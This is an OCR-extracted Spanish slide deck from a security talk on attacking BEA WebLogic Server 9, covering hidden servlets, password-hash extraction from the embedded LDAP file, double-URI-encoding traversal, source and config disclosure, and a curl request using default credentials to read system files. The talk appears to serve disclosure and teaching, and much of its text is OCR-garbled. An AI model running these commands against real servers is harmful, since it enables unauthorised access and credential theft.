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Presentacion

Seguridad en Weblogic Server 9.

Vulnerabilidades de esta plataforma en si misma (y en
menor medida de las aplicaciones hospedadas).



Sobre Weblogic

Es el mas popular de los servidores de aplicaciones
comerciales de gama alta.

Basado en la tecnologia de la plataforma Java (J2EE).



Muy extendido en sectores clave como la industria, la banca, las
telecomunicaciones y la administracion publica

PP L — = | | PP Fon v e ~ L |
iln] IEI htkp: ffes. bea.comfclientesfclientes_sector.jsp

Skandia

EBanca

Ahorro Corporacian

Banca Fueyo

Bancaja

Banco de Créedito Portugues (Servibanca)
Banco Espirito Santo

Banco Halifax

Banco Lirguijo

Banco Macional de Crédito Inmohkiliario
Banco Pastar

Banco Sabadeall

Banco Zaragozano

Banco Santander Portugal

Banco Totta (Srupo Santander Fordugals
Bancowal, 5. 4

Bankpyrme

Zaixa Andorrana de la Seguretat Social
Zaixa de Girona

Caixa Laietana

Zaixa Manlleu

Zaixa Manresa

Caixa ontinvent

Zaixa Penedéas

Zaixa Follensa

Zaixa Terrasa

—aja Burgo=s

Caja de Ahorros deal Mediterraneo

Zaja de RNavarra

Zaja Duero

—aja Sranada

Zaja Madrid
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6 Suele instalarse como nucleo central en infraestructuras de servicio
S2lsec hacia Internet en 3 niveles

Client Tier Middle Tier Backend Tier




Historia: Weblogic y Seguridad

Grandes cambios desde sus primeras versiones:

Complejidad: A mayor complejidad, mayores posibilidades de
ataque.

Conciencia de seguridad: Se ha aprendido de los errores
cometidos y muchas de las vulnerabilidades o debilidades de
las primeras versiones han sido corregidas.



Weblogic 5

Pocos servicios por defecto.

Gran importancia de la cuenta de administracion por defecto
(system).

Varios bugs de revelacion del codigo fuente de JSPs.
Contrasenas predecibles (/AdminMain).

Servlets no documentados (/drp-exports, /drp-publish).
No son posibles los ataques de encoding.

Las contrasenas no se guardan cifradas (por defecto).



Weblogic 6y 7

Muchos servicios por defecto.

Cambia la localizacion del interfaz de administracion (/console) y
ahora permite muchas mas funcionalidades.

Son posibles los ataques de encoding.

Se mantienen los servlets no documentados y se introducen
algunos nuevos (/classes,
/wl_management_internal1/LogfileSearch,
/wl_management_internal2/wl_management).

Algunos de estos servlets presentaban vulnerabilidades graves.



Weblogic 8

Las primeras versiones heredan fallos de las anteriores.

Se reduce la importancia de la cuenta de administrador
por defecto (ahora weblogic).

Desaparecen algunos servlets internos.
Se corrigen algunas de las debilidades historias.
Equilibrio entre seguridad y servicios por defecto.



Weblogic 9: Primera impresion

Se han introducido mas servicios no documentados.
La complejidad del codigo ha crecido enormemente.

No se ha puesto solucion a algunas debilidades historias
(por ejemplo seguridad en win32).

Reduccidon de rendimiento.



Fortaleza: Basado en Java

Weblogic herede la mayoria de las ventajas de
seguridad de Java.

Comprobacién de punteros.

Casting implicito.

Comprobacion de limite de arrays.

Excepciones.

Verificacion de byte-codes.

Compilado (en bytecode) inviable la inyeccion de codigo.
Etc...



Debilidades

Win32: Diseno para plataforma Unix:
Incorrecto manejo del caracter “\’

Trabajo con nombres de fichero con combinaciones de
mayusculas/mindsculas.

Decompilable: Facilita la ingenieria inversa.

Programadores confiados: Mayor relajacion en los
programadores.

Rendimiento: Vulnerable a ataques de denegacion de
servicio basados en consumo excesivo de recursos.



Ingenieria inversa

El nucleo del servidor Weblogic y la mayoria de clases
Java propietarias de Weblogic utilizadas se encuentran
en el fichero “weblogic.jar” localizado en:

BEA_HOME\weblogic90\server\lib



@ Acceso al cédigo fuente mediante descompilacion
sec

Il
I
|2

M DB 4 uE =

4 i i i i i i i i i i i i i i i i i

& Decomoiled by D0 w3 9997 Comyrnight 2005 Afanas Neshkov Date: 300572006 05824

& Home Page | hitodmembers fodunacify. cormdnashkowid] himi - Check often for hew varsion!
& Decompilar opfions: packirmports!s)

& Source File Name: WebsService java

package weblogic servietinternal;

Import java. security. AccessController,

Import java.util. Collection;

Import java utl terator;

Import weblogic application ApplicationFactoryManager,
Import weblogic logging Loggable;

Import weblogic management DeploymentException;
Import weblogic management UndeploymentException;
Import weblogic management. configuration ™
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Administracion de usuarios

Por defecto la administracion de usuarios y contrasenas se realiza
a través de un servicio LDAP Interno. :

BEA HOME/user_ projects/domains/NOMBRE_DEL DOMINIO/serv
e{s/NOMBRE_DEL_S RVER/data/ldap/Idapfiles/EmbeddedLDAP.d
ata

Las contrasenas se encuentran cifradas mediante Seeded SHA1.

Se pueden crackear con este modulo pata el John:
http://www.bastard.net/~kos/john-sha/


http://www.bastard.net/~kos/john-sha/
http://www.bastard.net/~kos/john-sha/

Extraccion de usuarios y contrasenas de la base de datos LDAP
Interna

$ strings.exe EmbeddedLDAP.data | grep uid=

uid=weblogic, ou=people, ou=myrealm,dc=base_domain

uid=encuentrame, ou=people, ou=myrealm, dc=base_domain

$ strings.exe EmbeddedLDAP.data | grep ssha

{ssha}OdKcP5gL012sUPfnLC3rWi/0abEWWRQk
{ssha}i9A7M/ndtETv36F9i810oBHWMlrImlTWv




Ataques de encoding

Raramente los servidores Weblogic se exponen
directamente hacia Internet.
La conexion entre el servidor de frontend y el servidor
de aplicaciones se suele realizar a traves de un
conector que se instala como plugin del servidor web.
Para tomar esta decision el conector analiza el formato
de la peticion. Normalmente este filtro tiene 2 formatos:
Segun el path: /webapp/directorio/*
Segun el tipo MIME: /*.jsp



@ Ataque de uri-encoding
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Direccion I@ httpe ff172.26.0.1 32 wls_utc!

The WeblLogic Test Client is not currently

G.ﬂ.tras - EJ - |i| |£| {l] | J}_J Busqueda Mravnntns w| D_tg

Direccidn |i htkp:/f172.26.0. 132 wls_ukc)%:252e%252e]
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% bea

BEAWEBLOGIC SERVER® 9.0 | G

Getting Started | Samples | Fast Track | CDocumentation | dewv:

What's New in WebLogic Server 9.0

Operations, Administration, and Management
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Modulos cargados por defecto

Cada servidor hospeda una serie de aplicaciones,
normalmente incluidas en un contenedor WAR cada
una.

Si utilizamos la plantilla de creacion de servidor que
acompana por defecto a Weblogic 9 se nos instalaran
automaticamente un buen numero de aplicaciones
internas.



Moddulos cargados por defecto

W Hiras v T

EBUsJUed3 L_arpecas |

T Ay

Direccidn IJ i\ bealweblogic?0samples\domainsiywl_serveriserversiexamplesserveritmpl WL internal

Mombre =

Tipo

Fecha de mc

_Jbea_wls_diagnostics

_Jbea_wls_internal

Jbea wls_management_internal?
_Jbea_wls_remaote_deployer

_Jconsaleapp
_meib
_)samlacs
\_)samlars
_)samlits_ba
\_)samlits_cc
\Juddi
_Juddiezxplarer
) wlsteskclient

Carpeta de archivos
iZarpeta de archivos
iZarpeta de archivos
_arpeta de archivos
iZarpeta de archivos
Carpeta de archivos
i_arpeta de archivos
iZarpeta de archivos
_arpeta de archivos
iZarpeta de archivos
Carpeta de archivos
i_arpeta de archivos
iZarpeta de archivos
_arpeta de archivos

241052006
241052006
741052006
241052006
241052006
241052006
241052006
741052006
241052006
241052006
241052006
241052006
741052006
241052006




Weblogic 9: Servicios Ocultos

/HTTPCIntSend/*
/HTTPCIntRecv/*
/HTTPCIntLogin/*
/HTTPCIntClose/*
/iiop/ClientSend/*
/iiop/ClientRecv/*
/iiop/ClientLogin/*
/iiop/ClientClose/*
/com/*

/getior/*
/classes/*
/samlits

/samlacs
/samlars

/wsee

".jsp



weblogic/rjvm/InternalWebAppListener.class

.'IIU}J.'R_,-IIGI ILI_U':lII I
FEMETY _MAF, -1);
weblogicservietcontext registerservlet{"ClientClose", "weblogic corba llop htp TunnelCloseseret”, new
"MopfClientzlose™
FEMETY _MAF, -1);
t
'

catch{DeploymentException deploymentexception 1)

i
thriows new AssertionError"Unexpected exception redistering 1OF tunnelling serviets” + deploymentexceptic
I
try
i |
Ifiservermbean.isiCOMERabled())
weblogicservietcontext registersSerdet"COM", "weblodic com GetORMServiet", new String(] {
“foomt
FEMETY _MAR, -10;

catch{DeploymentException deploymentexceptionZ)

{
throwy newe AssertionError"Unexpected exception COM Servet” + deploymentexception?);
t
try
L
Ifiservermbean. getllOF) getEnablel ORServiet())

weblogicservietcontext registersServiet{"getior”, "weblogic serviet utils liop Getl ORSeret”, new String[] {



Manos a la obra

Despues de la teoria un poco de hacking...



@ Obtencion de la version de Weblogic utilizada

h: 7001 /bea_wls_internal/classes /META-INF/MAMNIFEST.MF - Microsoft Internet Explorer

Favoritos  Herramientas  Avyuda

: j . N ) p. i _-J- - 5 Y : -
|ﬂ @ L;j P Edsqueda “ . Favoritos {3' [ = |*“'_*"-| hﬁ—.
15,1, 165: 7001 AN 1 7 2. - 1F T ANIFEST . MF

ndor: BEA Swstems Implementation-Title: WebLogic Zerver 3.0 Sun Jul 3 21:15:00
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- Acceso a la configuracion de la aplicacion /uddi
sec

a http://172.18.1.165:7001 /uddi;/ WEB-INF /web.xml - Microsoft Internet Explorer

Archiva  Edicidn  Mer  Faworitos  Herramienkas Awoda

G.ﬁ.tras - \H_H,l |j |:L| Eiusqueda H .;*‘Faﬁ.fcurllzcus {Eﬂ:‘ “.a-l_,;: .ﬁl

Direccién [&] hitp:j{172.18.1. 1E-5:?Dtllma-INF,l'web.xml

=7tuml version="1.0" 7=
IDOCTYPE web-app {\Wew Source for full qoctype,.. =
- <web-app=
- <servlet=
zservliet-name=zuddilistener=/servlet-name=
<servlet-classzcom.acumenat.uddi.server.http.UDDIListenerServlet
=/serviets
- «servlet-mapping=
zservlet-name=uddilistener</servlet-name=
zuUrl-patternz fuddilistener</url-patterns
</serviet-mapping=
=/ web-app>




Acceso al codigo fuente de /uddiexplorer/menu.jsp

3 http://172.18.1.165:7001 fuddiexplorer ... /jsp_servlet;__menu.class - Microsoft

Archivo  Edicion  Wer  Faworitos  Herramienkas  Ayuda

Qus - Q- %] 2] o

Direccion I http: /172,158, 1.165: 7001 juddiexplarer A  rcru.class

— i) .
P Blsqueda “, -~ Favoritos %ﬁ
L .

E];:l”%l O10«#0&0*0-000:2060%0<0Y00E0HOE O} 000000
OOy servlet!  memi[ 00 Oweblogic/servlet!spddspBase O O O#weblogcd
_memjaval OsourceDebugBEstension00 WL ENCODED BEYTE: OF
ConstantValued  wl blockOOO O0 wl blockOBwtes:O0[EO  wl block]
00 wl blockl0BytesOd wl bleck110”

U0 wl blockl1BvtesOd wl block120

U0 wl block2

O0 wl bloclsBwvtez0 wl blocldOL



Acceso a contenidos internos mediante URI-encoding

———— Scanning URL: http:r-~172.18.1.165 wls_utc/x252ex2582e/, ——

AFOUND: http:--172.18.1.165/uwls_utc/%252ex252e bea_wls_internal/classes/
(State: 208 [0OK] — Size: @>

http: /7172.18.1.165/vwls_utcx252ex252ebea_wls_internal

] (8tate: 382 [MOUED TEMPORARILY]1 — Size: 321>

4 http: 7172.18.1 .165/uls_utc x252ex25%2esbea_wls_internal -HITPClntSend
{8tate: 5@ [INTERNAL SERUER ERROR] — Size: 19972

http: 7172.18.1.165/vwls_utc x252ex252esbea_wls_internal-HITPClntRecwv
(State: 208 [0OK] — Size: @>

http: 7172.18.1.165/uls_utc x252ex252ebea_wls_internalsiiopsClientSend
({8tate: 5@ [INTERNAL SERUER ERROR] — Size: Z816>

http: 7172.18.1.165/uls_utc x252ex252esbea_wls_internalsiiopsClientRecwv
(State: 208 [0OK] — Size: @>

http: 7172.18.1.165/vwls_utc%252ex252e hea_wls_internal/iiopsClientLogin
{8tate: 5@ [INTERHAL SERUER ROR1 - Size: 1947>

http: 7172.18.1.165/vls_utc%252ex252e hea_wls_internal/iiopsClientClose
{8tate: 5@ [INTERHAL SERUER ROR]1 - Si=ze: 2818>

http: 7172.18.1.165/uls_utc x252ex252e/console
(8tate: 382 [MOUED TEMPORARILY]1 — Size: 2972

http /7172181165 /vl _utc%252ex252e uddi
(8tate: 382 [MOUED TEMPORARILY]1 — Size: 2972

http: 7172.18.1.165/uls_utc x252ex252e/uddi uddilistener
(8tate: 2008 [0OK] — Size: 789>

http:ffi?z.13.1.1E5fw13_MtEfHEEEEHEEEEHUﬂﬂiEKDlDPEP



Bloqueo de usuarios

= foygdrive/c/Docume~1 fusuario/Escritorio/dirb

ehlogic' —-H "password: test' | head —1
Javax.zecurity.auth.login.FailedLoginException: [Security:B783804 1Authe
h.login.FailedLoginException: [Security:-A78302 JAunthentication Failed:

S curl —s http: - /7172.18.1.165:7881 /hea_wls_diagnostics/accessor —H '"us
ehlogic' —-H "password: test' | head —1
Javax.zecurity.auth.login.FailedLoginException: [Security:B78384]1Authe
h.login.FailedLoginException: [Security:-A78302 JAuthentication Failed:

S curl —s http:- 7172.18.1.165:7801 7hea_wls_diagnostics/accessor —H "us

ehlogic'" —-H “password: test' | head —1

Javax.zecurity.auth. login.LoginException: H98483




Uso del serviet wl_management

= fcyqgdrive,/c/Docume~1 fusuario/Escritorio

S curl —s http:/7172.18.1.165:7881 /bea_wls_management_internal2-wl_man
H "uzername: weblogic' —H ""password: weblogic" -H "wl_request_type: fi
ile_name: c:isMhoot.ini'

[hoot loader]

timeout=30H

defanlt=multi{B>disk{A>rdisk{Brpartition<d >~ HWINDOLS

[operating systems]
multi{A)disk{A)rdizsk{@)partition<l > WINDOWS=""lindows Server 2083, Ente
astdetect




